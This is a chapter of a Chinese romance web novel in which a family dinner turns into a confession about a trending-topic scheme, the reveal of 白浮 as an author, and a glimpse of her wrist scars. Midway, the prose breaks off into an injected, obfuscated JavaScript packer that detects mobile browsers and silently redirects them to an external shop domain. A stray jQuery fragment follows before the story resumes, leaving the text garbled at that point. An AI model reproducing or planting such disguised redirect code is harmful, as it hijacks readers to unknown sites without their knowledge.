“没忙什么……”厉远含糊嘟囔一句,咽下嘴里的汤,努力摆出一副再自然不过的神情。
“就,公司那些事呗。”
黎锦将他那点小动作尽收眼底,却没点破,只低头慢悠悠搅着盅里的汤,像是忽然想起什么。
“对了,你大伯那边最近有个商超宣传,正在挑合作公司。”
厉远手里的筷子猛地一顿。
商超。
就是那个云集国内外顶尖奢侈品、上次他包下大屏和飞机应援,几乎花光半副身家、心疼得好几夜没睡好的地方。
他眼睛瞬间亮了。
可那点光亮转瞬就被痛苦的纠结取代。他嚼着一块东坡肉,嚼了许久,都没咽下去。
黎女士这话是什么意思,他再清楚不过——利诱。
坦白从宽,项目白给。
伸头是一刀,缩头也是一刀。那就选给得多的一边呗,毕竟他家老子的面儿还是要考虑一下的。
江骆正低头剥虾,动作专注得如同在进行一场精密手术,眼皮都没抬一下。
厉远咬牙一狠,放下了筷子。
“姑姑,我跟您坦白件事。”
黎锦放下汤勺,往椅背上一靠,一副洗耳恭听的模样。
白浮夹了一筷子青菜放进嘴里,味同嚼蜡地慢慢嚼着。她对吃食本就没什么欲望,饿了才想起要吃,不饿的时候,再精致的菜肴摆在面前,也不过是几样颜色好看的东西。
上一次正经坐下来吃饭是什么时候,她已经记不清了。或许是飞机餐,或许更早。
江骆剥好一只虾,没有放进自己碗里,手腕轻转,那枚完整饱满、红白分明的虾肉,轻轻落进了白浮的碟中。
白浮看了他一眼,没说话,也没动。
江骆又拿起一只,继续剥。他的目光没有刻意落在她身上,可她每一次动筷、碟子里的菜少了多少,他都看得一清二楚。
厉远深吸一口气,把微博热搜的事一五一十全说了。营销号是公司旗下的,文案是底下人写的,所有相关帖子他已经连夜删干净……
最后总结陈词,干脆利落认下。
“……我确实拉了嫂子下水,这我没得洗。嫂子,您要打要骂,我都认。”
话说完,餐厅里安静了两秒。
黎锦把筷子轻轻搁在桌上,声响不大,厉远的肩膀却下意识缩了一下。
江文斌开口,语气不缓不急,“小远,听说你最近在谈一个IP?”
厉远一愣,没料到伯父会突然转开话题,下意识点头,“是,伯父消息真灵通。”
江骆擦了擦手指,将餐巾搁在碟边,淡淡开口。
“不巧,你想买的那个IP,作者就坐在这儿。”
厉远左右扫了一圈。
餐厅里一共五个人——姑姑、姑父、江骆、他自己,还有……
他的目光猛地钉在白浮身上。
“嫂子?!”
厉远“腾”地从椅子上站起来,绕开桌沿,几步冲到白浮面前,膝盖一弯,又跪了下去。
双腿结实着地。
好没骨气。
“嫂子,我的亲嫂子!”他声音都在发颤,分不清是激动还是后怕,“我对天发誓,我就算再混,也不会拿您赚这种黑心钱!我要是早知道厄里是您。不对,我就算知道是别人,也不该这么干……”
这事本就是他混账,不管是谁,都不该这么做。
黎黎锦端起茶杯,悠悠吹了浮沫,轻飘飘丢来一句:“你本来就不是东西。”
厉远一噎。
这话听着像骂人,可细品又像是陈述事实。姑姑总归还是护着他的,至少他自己是这么认为的。至于旁人怎么想,他就顾不上了。
白浮看着跪在脚边的厉远,神情没半分波澜,只淡淡应了一个字,“哦。”
仿佛自始至终,她都只是个旁观者。
江骆夹了一块挑干净刺的鱼肉放进她碟中,筷子轻碰瓷碟,发出一声细响。
厉远跪在地上,一时不知该起还是该继续跪。他伸手轻轻攥住白浮的衣袖,急切却不敢用力。
“嫂子,你原谅我一回,我保证以后——”
拉扯间,袖口往上滑了一截。
厉远的目光,无意落在她左手腕上。
疤痕早已泛白,边缘微微凸起,在冷白灯光下安静地贴在皮肤上。最深的那一道,痕迹清晰,一看便知当年凶险。
厉远瞬间僵住。
旁人或许因角度看不清,他却看得一清二楚。
江骆眸光一冷,眼神沉沉扫过来,带着明显的警告。
厉远连半秒都没敢对视,条件反射般松开手,低声说了句“抱歉”,小心翼翼把她袖口拉回原位,默默收回手。
心底翻涌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535641|203802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的震惊,被他死死压下,一个字不敢多提。
“坐回去。”
江骆的声音,每个字都像淬了冰。
厉远乖乖起身,回了自己座位,端起碗埋头扒饭,安静得像个刚挨过训的小学生。
白浮并没在意这段插曲,视线落在碟中那只虾上,犹豫片刻,还是夹起,慢慢吃了。
黎锦也没再揪着这事不放。她在商场沉浮多年,这些小手段都是她当年玩剩下的,厉远是不是主谋,她心里一清二楚。她顺势转了话题,聊起哪家亲戚的孩子考上名校,哪个老朋友去南极拍了企鹅。语气自然,仿佛刚才什么都没发生。
餐桌上的气氛,渐渐松了下来。
江文斌偶尔插一两句,厉远只管闷头吃饭,时不时抬头瞟一眼江骆和白浮,又飞快低下头。
江骆和白浮挨着坐,相距不过半米。
她不会主动给他夹菜,他也不会刻意碰她的手臂。两人像是达成了某种无声默契,维持着恰到好处的客气与疏离,守着一段婚姻里最安全、也最冰冷的距离。
白浮吃得很慢,每样菜只夹一两口,像是在完成一项任务。喝汤时双手捧着碗,小口小口抿。江骆见她对虾兴致不高,便不再剥,只在她杯中水快见底时,不动声色替她续满。
白浮察觉到了,侧头看了他一眼。
灯光落在江骆侧脸,轮廓分明,睫毛低垂,神情清淡。她收回目光,继续喝汤。
黎锦的目光在两人之间转了一圈,一切尽收眼底,随即看了眼挂钟,很自然地轻“哎呀”一声。
“都这个点了。”
“阿浮今晚就别走了,这儿离市区远,开回去要一个多小时。房间天天都有人收拾,睡衣也是新的,你留下来住一晚,明天让江骆送你回去。”
白浮张了张嘴,想说不必麻烦,黎锦却已经转头看向江骆。
“你今晚没什么事吧?”
“……没有。”
“那就住下。阿浮,妈还给你准备了好些礼物。”
黎锦说着,便拉着白浮往正院走。
黎女士看得明白,某人落花有意,奈何流水无心,当妈的,总得推一把。
江文斌站起身,看了眼江骆。
“你跟我来书房一趟。”
江骆跟着父亲走出餐厅,穿过一重小院,进了东厢书房。
门,轻轻合上。